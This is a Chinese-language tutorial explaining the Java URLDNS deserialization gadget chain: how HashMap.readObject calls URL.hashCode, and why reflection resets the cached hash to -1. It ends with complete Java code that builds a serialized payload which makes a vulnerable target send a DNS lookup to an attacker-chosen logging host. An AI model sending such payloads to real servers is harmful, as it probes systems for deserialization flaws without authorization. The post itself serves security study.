首先先提出2个核心疑问

  1. 为什么 URL.hashCode 必须是 -1 才会触发 DNS?

  2. HashMap 反序列化源码到底干了什么?


一、先搞懂:URL 类的 hashCode 底层设计(关键)

1. URL 源码核心字段

public final class URL implements Serializable {
    // 私有变量,默认写死:-1
    private int hashCode = -1;  
​
    // 核心方法
    public synchronized int hashCode() {
        // 判断①:如果不等于 -1,直接返回缓存值
        if (hashCode != -1) {
            return hashCode;
        }
        
        // 判断②:只有 hashCode == -1 才会走到这里
        // 去请求DNS、解析域名、计算哈希值
        hashCode = handler.hashCode(this); 
        return hashCode;
    }
}

2. 为什么默认是 -1?

JDK 对 URL 做了懒加载优化

  • 域名解析(DNS)是网络操作,很慢、耗性能;

  • 所以 JDK 设计:不主动解析域名

  • 用 hashCode = -1 标记:当前 URL 还没计算过哈希、还没解析过域名

3. 两种状态彻底分清

  1. 状态 A:hashCode = -1

    代表:未初始化 → 必须解析域名 (DNS) → 算出哈希 → 把结果存起来覆盖掉

  2. 状态 B:hashCode ≠ -1

    代表:已经算过、已经解析过 DNS → 直接用缓存值 →

    永远不会再触发 DNS

4. 为什么必须强行把 URL 的 hashCode 改回 -1?

  • 我们本地写代码 new URL("xxx.dnslog.cn") 放进 HashMap 时,本地已经自动算过一次 hashCode

  • 此时这个值已经变成正常数字,不是 -1;

  • 如果不重置,目标机器反序列化时,读取到的 URL 是已缓存状态,直接 return,不会走 DNS 逻辑;

  • 所以:反射强制改回 -1 = 强制让目标机器重新解析域名


二、逐行讲明白:HashMap 反序列化源码

1. 普通类反序列化

普通 Java 类反序列化:

只还原成员变量,不会主动调用任何方法

2. HashMap 不一样:重写了 readObject()

HashMap 是集合,不能简单还原字段,所以 JDK 开发者自己写了反序列化逻辑

// HashMap 自定义反序列化方法
private void readObject(ObjectInputStream s) 
    throws IOException, ClassNotFoundException {
    
    // 1. 先还原基本属性
    s.defaultReadObject();
​
    // 2. 读取集合里有多少个键值对
    int size = s.readInt();
​
    // 3. 循环:把每一个 key 和 value 单独反序列化
    for (int i = 0; i < size; i++) {
        // 把我们的 URL 对象,反序列化出来
        K key = (K) s.readObject();  
        V value = (V) s.readObject();
​
        // ========== 致命关键 ==========
        putVal( hash(key), key, value, false, true );
    }
}

3. 拆解 hash(key) 方法

static final int hash(Object key) {
    if (key == null) return 0;
    // 强行执行:key.hashCode()
    int h = key.hashCode();  
    return h ^ (h >>> 16);
}

核心结论

HashMap 在反序列化的过程中,会主动、强制调用每一个 key 的 hashCode() 方法

这是整个 URLDNS 能打出来的唯一前提

换成 ArrayList、LinkedList 就不行,因为它们反序列化不会主动调用 key 的 hashCode。


三、串联:URL + HashMap 组合攻击完整流程

步骤 1:攻击者本地构造

  1. 创建恶意 URL 对象:new URL("http://你的dnslog地址")

  2. 把这个 URL 当做 key,存入 HashMap

  3. 此时本地 JVM 会自动调用 url.hashCode(),DNS 本地解析一次,hashCode 被赋值为非 -1

  4. 关键操作:反射修改 URL 私有字段 hashCode = -1

  5. 把整个 HashMap 对象序列化,生成 payload 二进制数据

步骤 2:目标服务器触发反序列化

目标接口接收 payload,执行 ObjectInputStream.readObject()

  1. 进入 HashMap.readObject()

  2. 循环读取 key(就是我们构造的 URL 对象)

  3. 执行 hash(key) → 调用 URL.hashCode()

步骤 3:URL 逻辑触发

URL.hashCode == -1 成立
↓
进入 handler.hashCode()
↓
调用获取主机方法
↓
InetAddress.getByName(域名)
↓
操作系统发起 DNS 查询

步骤 4:结果

DNSLOG 平台收到解析记录 → 证明目标存在反序列化漏洞。


四、极简浓缩版

  1. HashMap 特性:反序列化时,强制执行 key.hashCode ()

  2. URL 特性

    • hashCode=-1 → 触发 DNS 域名解析

    • hashCode≠-1 → 读取缓存,无 DNS

  3. 利用手法:

    正常创建 URL 会自动缓存哈希 → 反射重置为 -1

  4. 最终链条

反序列化readObject 
→ HashMap.readObject 
→ hash(key) 
→ URL.hashCode() 
→ DNS请求

五,map.put(key,value)的底层逻辑

public V put(K key, V value) {
    return putVal(hash(key), key, value, false, true);
}
​
static final int hash(Object key) {
    int h;
    // 这里直接调用 key.hashCode()!
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
  • 不是 HashMap 的 writeObject 序列化过程调用的

  • 是你自己执行 map.put() 时,HashMap 为了算 key 的位置,主动调用了 url.hashCode()

  • 这一调用,会直接把 url.hashCode 从 -1 改成一个具体数字

  • 所以你必须用反射把它改回 -1 ,不然序列化后的对象里, hashCode 已经不是 -1 了

六,代码示例

//序列化
package org.example;
​
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;
​
​
public class Serialize {
    public static void main(String[] args) throws Exception {
        URL url = new URL("http://xxx.com");
        HashMap<Object,Object> map = new HashMap<>();
        map.put(url,"123"); //触发url.hashCode()
​
        //使用反射修改hashcode的值
        Field field = URL.class.getDeclaredField("hashCode");
        field.setAccessible(true);
        field.set(url,-1);
​
        ObjectOutputStream oos =new ObjectOutputStream(new FileOutputStream("1.txt"));
        oos.writeObject(map);
​
        oos.close();
​
​
    }
}

//反序列化
package org.example;
​
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
​
public class Deserialize {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.txt"));
        ois.readObject();
        ois.close();
    }
}

更多推荐